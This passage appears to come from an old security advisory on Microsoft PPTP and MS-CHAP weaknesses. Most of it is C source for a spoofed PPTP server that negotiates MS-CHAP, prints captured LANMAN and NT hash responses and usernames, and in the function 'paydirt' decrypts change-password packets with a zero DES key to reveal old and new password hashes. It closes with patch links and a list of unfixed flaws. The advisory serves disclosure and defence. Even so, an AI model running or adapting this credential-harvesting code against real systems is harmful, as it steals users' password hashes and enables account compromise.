      if (PPTP_GRE_IS_S(ntoh8(header->flags))) { /* payload present */
        unsigned headersize = sizeof(*header);
        unsigned payload_len= ntoh16(header->payload_len);
        u_int32_t seq       = ntoh32(header->seq);
        if (!PPTP_GRE_IS_A(ntoh8(header->ver))) headersize-=sizeof(header->ack);
        /* check for incomplete packet (length smaller than expected) */
        if (status-headersize<payload_len) {
          printf("incomplete packet\n");
          return 0;
        }
        /* check for out-of-order sequence number */
        /* (handle sequence number wrap-around, cuz we're cool) */
        if ((seq > seq_recv) ||
            (((seq>>31)==0) && (seq_recv>>31)==1)) {
          seq_recv = seq;

          return cb(buffer+ip_len+headersize, payload_len);
        } else {
          printf("discarding out-of-order\n");
          return 0; /* discard out-of-order packets */
        }
      }
      return 0; /* ack, but no payload */
    }

    int encaps_gre (void *pack, unsigned len) {
      union {
        struct pptp_gre_header header;
        unsigned char buffer[PACKET_MAX+sizeof(struct pptp_gre_header)];
      } u;
      static u_int32_t seq=0;
      unsigned header_len;

      /* package this up in a GRE shell. */
      u.header.flags        = hton8 (PPTP_GRE_FLAG_K);
      u.header.ver          = hton8 (PPTP_GRE_VER);
      u.header.protocol     = hton16(PPTP_GRE_PROTO);
      u.header.payload_len  = hton16(len);
      u.header.call_id      = hton16(pptp_gre_call_id);

      /* special case ACK with no payload */
      if (pack==NULL)
        if (ack_sent != seq_recv) {
          u.header.ver |= hton8(PPTP_GRE_FLAG_A);
          u.header.payload_len = hton16(0);
          u.header.seq = hton32(seq_recv); /* ack is in odd place because S=0 */
          ack_sent = seq_recv;
    #ifndef BROKEN_RAW_CONNCET
          return write(rsd, &u.header, sizeof(u.header)-sizeof(u.header.seq));
    #else
          return sendto(rsd, &u.header, sizeof(u.header)-sizeof(u.header.seq), 0,
                (struct sockaddr *) &src_addr, sizeof(src_addr));
    #endif
        } else return 0; /* we don't need to send ACK */
      /* send packet with payload */
      u.header.flags |= hton8(PPTP_GRE_FLAG_S);
      u.header.seq    = hton32(seq);
      if (ack_sent != seq_recv) { /* send ack with this message */
        u.header.ver |= hton8(PPTP_GRE_FLAG_A);
        u.header.ack  = hton32(seq_recv);
        ack_sent = seq_recv;
        header_len = sizeof(u.header);
      } else { /* don't send ack */
        header_len = sizeof(u.header) - sizeof(u.header.ack);
      }
      if (header_len+len>=sizeof(u.buffer)) return 0; /* drop this, it's too big */
      /* copy payload into buffer */
      memcpy(u.buffer+header_len, pack, len);
      /* record and increment sequence numbers */
      seq_sent = seq; seq++;
      /* write this baby out to the net */
    #ifndef BROKEN_RAW_CONNECT
      return write(rsd, u.buffer, header_len+len);
    #else
      return sendto(rsd, &u.buffer, header_len+len, 0,
            (struct sockaddr *) &src_addr, sizeof(src_addr));
    #endif
    }


    int do_ppp(void *pack, unsigned len)
    {
      struct {
        struct ppp_header ppp;
        struct ppp_lcp_chap_header header;
      } *p;

      p = pack;

      switch(ntoh16(p->ppp.proto))
      {
        case PPP_PROTO_LCP:
          switch(ntoh8(p->header.code))
          {
            case  PPP_LCP_CODE_CONF_RQST:
              printf("<- LCP Configure Request\n");
              send_lcp_conf_rply(pack);
              send_lcp_conf_rqst();
              break;
            case  PPP_LCP_CODE_CONF_ACK:
              printf("<- LCP Configure Ack\n");
              send_chap_challenge(pack);

              break;
            case PPP_LCP_CODE_IDENT:
              /* ignore */
              break;
            default:
              printf("<- LCP unknown packet: C=%X I=%X L=%X\n", p->header.code,
                p->header.ident, ntoh16(p->header.length));
          }
          break;
        case PPP_PROTO_CHAP:
          switch(ntoh8(p->header.code))
          {
            case PPP_CHAP_CODE_RESPONCE:
              printf("<- CHAP Responce\n");
              print_challenge_responce(pack);
              send_chap_failure();
              break;
            case PPP_CHAP_CODE_MSCHAP_PASSWORD_V1:
              paydirt(pack);
              break;
            default:
              printf("<- CHAP unknown packet: C=%X I=%X L=%X\n", p->header.code,
                p->header.ident, ntoh16(p->header.length));
          }
          break;
        default:
          printf("<- PPP unknwon  packet: %X\n", ntoh16(p->ppp.proto));
      }

      return(1);
    }

    void send_lcp_conf_rply(void *pack)
    {
      struct {
        struct ppp_header ppp;
        struct ppp_lcp_chap_header lcp;
      } *p = pack;

      printf("-> LCP Configure Ack\n");

      p->lcp.code = hton8(PPP_LCP_CODE_CONF_ACK);
      encaps_gre(p, ntoh16(p->lcp.length) + sizeof(struct ppp_header));
    }

    void send_lcp_conf_rqst()
    {
      struct {
        struct ppp_header ppp;
        struct ppp_lcp_chap_header lcp;
        struct ppp_lcp_chap_auth_option auth;
      } pkt;

      printf("-> LCP Configure Request\n");

      bzero(&pkt, sizeof(pkt));
      pkt.ppp.address     = hton8(PPP_ADDRESS);
      pkt.ppp.control     = hton8(PPP_CONTROL);
      pkt.ppp.proto       = hton16(PPP_PROTO_LCP);
      pkt.lcp.code        = hton8(PPP_LCP_CODE_CONF_RQST);
      pkt.lcp.ident       = hton8(9);
      pkt.lcp.length      = hton16(4 +5);
      pkt.auth.type       = hton8(PPP_LCP_CONFIG_OPT_AUTH);
      pkt.auth.length     = hton8(5);
      pkt.auth.auth_proto = hton16(PPP_PROTO_CHAP);
      pkt.auth.algorithm  = hton8(PPP_LCP_AUTH_CHAP_ALGO_MSCHAP);

      encaps_gre(&pkt, 13);
    }

    void send_chap_challenge()
    {
      struct {
        struct ppp_header ppp;
        struct ppp_lcp_chap_header chap;
        struct ppp_chap_challenge challenge;
      } pkt;

      printf("-> CHAP Challenge\n");

      bzero(&pkt, sizeof(pkt));
      pkt.ppp.address    = hton8(PPP_ADDRESS);
      pkt.ppp.control    = hton8(PPP_CONTROL);
      pkt.ppp.proto      = hton16(PPP_PROTO_CHAP);
      pkt.chap.code      = hton8(PPP_CHAP_CODE_CHALLENGE);
      pkt.chap.length    = hton16(13);
      pkt.challenge.size = hton8(8);

      encaps_gre(&pkt,  4 + 13);
    }

    void print_challenge_responce(void *pack)
    {
      unsigned char name[512], *c;
      int len;
      struct {
        struct ppp_header ppp;
        struct ppp_lcp_chap_header chap;
        struct ppp_chap_challenge responce;
      } *p;

      p = pack;

      c = p->responce.value.responce.lanman;
      printf("   LANMAN Responce: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X\n",
      c[ 0], c[ 1], c[ 2], c[ 3], c[ 4], c[ 5], c[ 6], c[ 7], c[ 8], c[ 9], c[10],
      c[11], c[12], c[13], c[14], c[15], c[16], c[17], c[18], c[19], c[20], c[21],
      c[22], c[23]);
      c = p->responce.value.responce.nt;
      printf("   NTHash Responce: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X\n",
      c[ 0], c[ 1], c[ 2], c[ 3], c[ 4], c[ 5], c[ 6], c[ 7], c[ 8], c[ 9], c[10],
      c[11], c[12], c[13], c[14], c[15], c[16], c[17], c[18], c[19], c[20], c[21],
      c[22], c[23]);
      printf("   Use NT hash: %d\n", p->responce.value.responce.flag);


      bzero(name, 512);
      len = ntoh16(p->chap.length) - 54;
      bcopy(((char *)p) + 4 + 54, name, len);
      name[len] = '\0';
      printf("   User: %s\n", name);
    }

    void send_chap_failure()
    {
      struct {
        struct ppp_header ppp;
        struct ppp_lcp_chap_header chap;
        char message[64];
      } pkt;

      printf("-> CHAP Failure\n");

      bzero(&pkt, sizeof(pkt));
      pkt.ppp.address = hton8(PPP_ADDRESS);
      pkt.ppp.control = hton8(PPP_CONTROL);
      pkt.ppp.proto   = hton16(PPP_PROTO_CHAP);
      pkt.chap.code   = hton8(PPP_CHAP_CODE_FAILURE);
      pkt.chap.length = hton16(4 + strlen(MSCHAP_ERROR));
      strncpy(pkt.message, MSCHAP_ERROR, strlen(MSCHAP_ERROR));

      encaps_gre(&pkt,  4 + 4 + strlen(MSCHAP_ERROR));
    }

    extern int des_check_key;

    void paydirt(void *pack)
    {
      unsigned char out[8], out2[8], key[8];
      struct {
        struct ppp_header ppp;
        struct ppp_lcp_chap_header chap;
        struct ppp_mschap_change_password passwds;
      } *pkt;
      des_key_schedule ks;

      pkt =  pack;
      bzero(key, 8);

      printf("<- MSCHAP Change Password Version 1 Packet.\n");

      /* Turn off checking for weak keys within libdes */
      des_check_key=0;
      des_set_odd_parity((des_cblock *)key);
      des_set_key((des_cblock *)key, ks);

      des_ecb_encrypt((des_cblock *)pkt->passwds.old_lanman,(des_cblock *) out, ks, 0);
      des_ecb_encrypt((des_cblock *)(pkt->passwds.old_lanman + 8), (des_cblock *)out2, ks, 0);
      printf("   Old LANMAN: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X\n",
      out [0], out [1], out [2], out [3], out [4], out [5], out [6], out [7],
      out2[0], out2[1], out2[2], out2[3], out2[4], out2[5], out2[6], out2[7]);

      des_ecb_encrypt((des_cblock *)pkt->passwds.new_lanman,(des_cblock *) out, ks, 0);
      des_ecb_encrypt((des_cblock *)(pkt->passwds.new_lanman + 8), (des_cblock *)out2, ks, 0);
      printf("   New LANMAN: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X\n",
      out [0], out [1], out [2], out [3], out [4], out [5], out [6], out [7],
      out2[0], out2[1], out2[2], out2[3], out2[4], out2[5], out2[6], out2[7]);

      des_ecb_encrypt((des_cblock *)pkt->passwds.old_nt,(des_cblock *) out, ks, 0);
      des_ecb_encrypt((des_cblock *)(pkt->passwds.old_nt + 8), (des_cblock *)out2, ks, 0);
      printf("   Old NTHash: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X\n",
      out [0], out [1], out [2], out [3], out [4], out [5], out [6], out [7],
      out2[0], out2[1], out2[2], out2[3], out2[4], out2[5], out2[6], out2[7]);

      des_ecb_encrypt((des_cblock *)pkt->passwds.new_nt,(des_cblock *) out, ks, 0);
      des_ecb_encrypt((des_cblock *)(pkt->passwds.new_nt + 8), (des_cblock *)out2, ks, 0);
      printf("   New NTHash: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X\n",
      out [0], out [1], out [2], out [3], out [4], out [5], out [6], out [7],
      out2[0], out2[1], out2[2], out2[3], out2[4], out2[5], out2[6], out2[7]);

      printf("   New Password Length: %d\n", ntoh16(pkt->passwds.pass_length));

      kill(pid, SIGTERM);
      exit(0);
    }

SOLUTION

    Microsoft claims they will  enhance the control channel  in future
    updates  to  authenticate  each  control  packet.  MS hotfix fixes
    something of it:

        ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/hotfixes-postSP3/pptp2-fix

    Amongst other things  the PPTP fix  seems to implement  the latest
    MPPE spec functionality i.e. the fix to Aleph One's  reset-request
    attack.  Also includes the MSCHAP change to prevent LANMAN  hashes
    from  being  sent,  but  only  when  the  client is set to require
    128-bit  encryption.

    Microsoft also released a set of patches that fix several security
    issues  with  implementations  of  the  Point-to-Point   Tunneling
    Protocol  (PPTP)  used  in  Microsoft  Virtual  Private Networking
    (VPN) products.  Customers using affected software listed below to
    secure communcations  over a  public network  (i.e. the  Internet)
    should download and apply these patches as soon as possible.

    Potential vulnerabilities addressed by these updates include:

        - Dictionary  attack  against  the LAN Manager  authentication
          information
        - Password theft
        - PPTP server spoofing
        - Reuse of MPPE session keys

    Complete URLs for each affected software version is given below:

        *NT:
        ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/hotfixes-postSP3/pptp3-fix/
        ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/hotfixes-postSP3/rras30-fix/

        *Win95:
        ftp://ftp.microsoft.com/softlib/mslfiles/msdun13.exe

        * Win98
        ftp://ftp.microsoft.com/softlib/mslfiles/dun40.exe

    Vulnerabilities that have not been addressed:

        - The control connection is not authenticated
          This continues  to be  the case  and leave  PPTP connections
          vulnerable to  denial of  service attacks  (an attacker  can
          tore down a PPTP tunnel).

        - The MS-CHAP NT hash response is vulnerable to a dictionary attack
          This is still true but it  has been made very, very slow  by
          the large  number of  call the  to hash  function (SHA1)  by
          Microsoft to  hash everything  they can  think off  into the
          challenge/response.

        - MPPE does not provide true 128-bit or 40-bit security
          This is  still true.  Under MSCHAPv2  the MPPE  session keys
          continue  to  be  derived   from  the  user  password,   the
          challenges, and some magic numbers. All this information  is
          public with the exception of the password, ergo the  session
          key is only as strong at the password.

        - MPPE does not encrypt Network Control Protocol PPP packets
          Information such  as the  client's internal  IP address, DNS
          server address and other bits of information continue to  be
          public.

        - MPPE is vulnerable to bit flipping attacks.
          To fix  this they  would have  to either  add a  MAC to each
          packet or change to some other encryption algorithm.

    Note that its possible to play games to downgrade the clients into
    negotiating CHAPv1 and weak encryption so make sure you  configure
    your client and servers to reject these options.